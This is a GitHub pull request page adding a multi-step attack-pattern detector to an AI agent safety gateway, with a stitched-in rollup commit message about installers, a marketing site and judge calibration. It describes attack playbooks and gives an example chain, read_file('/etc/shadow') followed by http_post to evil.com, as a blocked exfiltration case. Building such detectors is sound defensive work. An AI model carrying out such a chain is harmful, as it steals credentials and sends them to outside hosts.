feat: multi-step attack-pattern detector with confidence scoring - #5
Open
azizx4 wants to merge 1 commit into
Open
feat: multi-step attack-pattern detector with confidence scoring#5azizx4 wants to merge 1 commit into
azizx4 wants to merge 1 commit into
Conversation
Add a new `meta`-kind detector that identifies multi-step attack chains by tracking per-agent tool-call history and matching against known attack playbooks. Each match is scored using contextual signals (data sensitivity, destination trust, timing, upstream anomaly signals) to minimize false positives. 8 built-in attack patterns: - DATA_EXFIL (AAT-T5010): sensitive read → outbound send - CRED_HARVEST (AAT-T5011): credential discovery → exfiltration - PRIV_ESCALATION (AAT-T5012): recon → sensitive read → priv exec - PROMPT_INJECTION_CHAIN (AAT-T1001): context poison → exploit - DESTRUCTIVE_ACTION (AAT-T8004): recon → delete/drop/truncate - ENCODED_EXFIL (AAT-T9001): sensitive read → encode → send - SUPPLY_CHAIN (AAT-T1003): package install → execute - ARTIFACT_BACKDOOR (AAT-T6003): write backdoor file → execute Key features: - Confidence scoring (0-100) with configurable block/flag thresholds - Custom Rules API: addRule() / removeRule() / getRules() - PPM upstream integration: sequence_anomaly signals boost confidence - SlidingWindowStats integration: burst detection increases confidence - Environment-configurable via ATTACK_PATTERN_* env vars - Wired into /api/v1/check: critical detector signals block requests 77 new tests across 3 test files. All 558 project tests pass.
Justin0504
added a commit
that referenced
this pull request
Jun 29, 2026
Major work across five threads, captured in one rollup so the working tree is clean before the next sprint. ═══ 1. Open-core distribution ═══════════════════════════════════════ - scripts/install.sh rewritten as a real binary installer (bun/ollama style): OS+arch detect, GitHub Releases tarball, SHA256 verify, $PATH wiring, branded ASCII banner. - .github/workflows/desktop-release.yml — 4-platform matrix (macOS arm64 + Intel, Linux x86_64, Windows x86_64) building .dmg / .deb / .AppImage / .msi / .exe + sha256 + latest.json updater manifest on every `v*` tag push. - apps/desktop/src-tauri/tauri.conf.json — Tauri updater plugin wired to the GitHub Releases latest.json endpoint (pubkey TBD). - README.md — new "Download AEGIS" hero with three-OS button grid (macOS / Windows / Linux) + curl|sh one-liner. ═══ 2. Marketing site (aegistraces.com) ═════════════════════════════ - Domain swap: every reference of aegis.dev → aegistraces.com across 25+ source files, configs, docs. - apps/marketing/src/components/HeroAnimation.astro — Railway-grade 4-scene hero loop (scan → policy → block → audit), payment-company scenario, real brand SVGs, floating stat asides, continuous micro-animations so no scene ever feels static. - CompatibleStacks.astro — 8×2 monochrome logo grid, all 16 logos verified Simple Icons SVGs (no fakes). Removed LogoWall + DesignPartners. - Testimonials.astro — horizontal scrolling marquee, Unsplash professional portraits, real Yue Zhao photo + @Aegis mentions highlighted as monospace chips. - Bento layout reworked: 1:2.4 ratio (image dominant), painted canvases removed from screenshot cards, descriptions trimmed. - All 5 Aegis screenshots wired (overview/activity/agents/violation /coverage/memory). - apps/marketing/public/_redirects — /install, /github, /releases, /discord, /paper short links. - Sign in / Start free buttons point to local /login + /signup that actually exist. - "built by Aojie Yuan" → "built by Justin Yuan". ═══ 3. Cockpit (mock-data layer) ════════════════════════════════════ - New lib/mock-traces.ts — single source of truth for demo data: hourly buckets, traces, violations, pending checks, agents, audit entries, compliance bundles, memory/cross-agent/PII events. - Eight cockpit views (overview, activity, approvals, violations, agents, policies, coverage, compliance, audit-log, traces) all short-circuit to mock when NEXT_PUBLIC_USE_MOCK_TRACES != "false". - New /memory page (Memory & Cross-Agent layer) — roadmap item #5 from the research roadmap, three tabs: memory recall, cross-agent contamination, pre-instruction PII. - New lib/activity-description.ts + lib/avatar.tsx for branded row rendering with deterministic colored-initial avatars. - lib/tool-icons.tsx — 31 brand patterns matched against tool names (gmail/outlook/icloud/google/bing/openai/anthropic/stripe/coinbase/ vercel/cloudflare/supabase/firebase/redis/mongo/twilio/sendgrid/ linear/jira/hubspot/datadog/docker/kubernetes…). - Fixed hydration mismatch: lib/utils.ts formatDate uses explicit field rendering instead of dateStyle:'medium' so Node SSR and browser produce identical strings. - Status-bar Gateway-unreachable banner respects USE_MOCK. ═══ 4. Layer 3 calibration toolkit ══════════════════════════════════ - packages/gateway-mcp/src/calibration/ — Guo et al. 2017 binning ECE estimator + reliability diagrams + per-category stratification (Liu et al. ICLR 2025 pattern). Pluggable JudgeFn. - Built-in 30-case benchmark covering normal / block-clear / pii- egress / jailbreak / indirect-injection / borderline. - OpenAI + Anthropic adapters with retry/backoff + per-call rate limiting. - Calibrate CLI: `npm run calibrate -- --judge openai:gpt-4o-mini`. - Real measurements published in docs/CALIBRATION-REPORT*.md: OpenAI gpt-4o-mini ECE 26.5 %, Anthropic claude-haiku-4-5 ECE 29.2 %. Borderline category catastrophic for both (83 % / 92 %). - 11/11 unit tests pass. ═══ 5. Strategy + research docs ═════════════════════════════════════ - docs/RESEARCH-ROADMAP.md — synthesis of a 115-agent deep-research pass on agent runtime safety SOTA (2024-2026). 8-point optimization roadmap with cited evidence and refuted-claim list. - docs/COMMERCIAL-MODEL.md — open-source + hosted SaaS positioning. - docs/CALIBRATION-REPORT.md — combined OpenAI vs. Anthropic side-by-side calibration analysis. - docs/DEMO-VIDEO-SCRIPT.md — 90-second hero walkthrough storyboard. - scripts/setup-stripe.sh + setup-supabase.sh — one-command billing + DB provisioning (test mode only, no production secrets). Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Adds a new
meta-kind detector (aegis.builtin.attack-pattern) that catches multi-step attack chains that existing single-step detectors miss. Each call is individually benign, but the sequence reveals the attack.Example:
read_file("/etc/shadow")→http_post("https://evil.com")— each step passes on its own, but together it's data exfiltration. This detector blocks it.What's new
8 built-in attack playbooks with confidence scoring (0–100):
DATA_EXFILCRED_HARVESTPRIV_ESCALATIONPROMPT_INJECTION_CHAINDESTRUCTIVE_ACTIONENCODED_EXFILSUPPLY_CHAINARTIFACT_BACKDOORConfidence scoring with contextual bonuses/penalties:
blockThreshold(default 70),flagThreshold(default 40)Custom Rules API:
addRule()/removeRule()/getRules()— tenants can define their own attack playbooks at runtimeWired into
/api/v1/check: DetectorRegistry now participates in the check decision pipeline. Critical detector signals block requests (Layer 4, after policy + anomaly + DSL).Environment-configurable:
ATTACK_PATTERN_ENABLED,ATTACK_PATTERN_BLOCK_THRESHOLD,ATTACK_PATTERN_FLAG_THRESHOLD,ATTACK_PATTERN_WINDOW_MSHow it differs from existing SEQUENCE_ANOMALY
Both are complementary — PPM surprise feeds into this detector's confidence as a bonus signal.
Files changed
detectors/built-in/attack-pattern-detector.ts__tests__/attack-pattern-detector.test.ts__tests__/attack-pattern-integration.test.ts__tests__/attack-pattern-vs-existing.test.tsdetectors/index.tsconfig.tsattackPatternconfig sectionserver.tsapi/check.tsTest plan
tsc --noEmit)read_file("/etc/shadow")→http_post("evil.com")returns"decision": "block"with reason"Multi-Step Data Exfiltration detected (confidence 90%)"read_file("report.pdf")→send_email("boss@company.internal")passes through as"allow"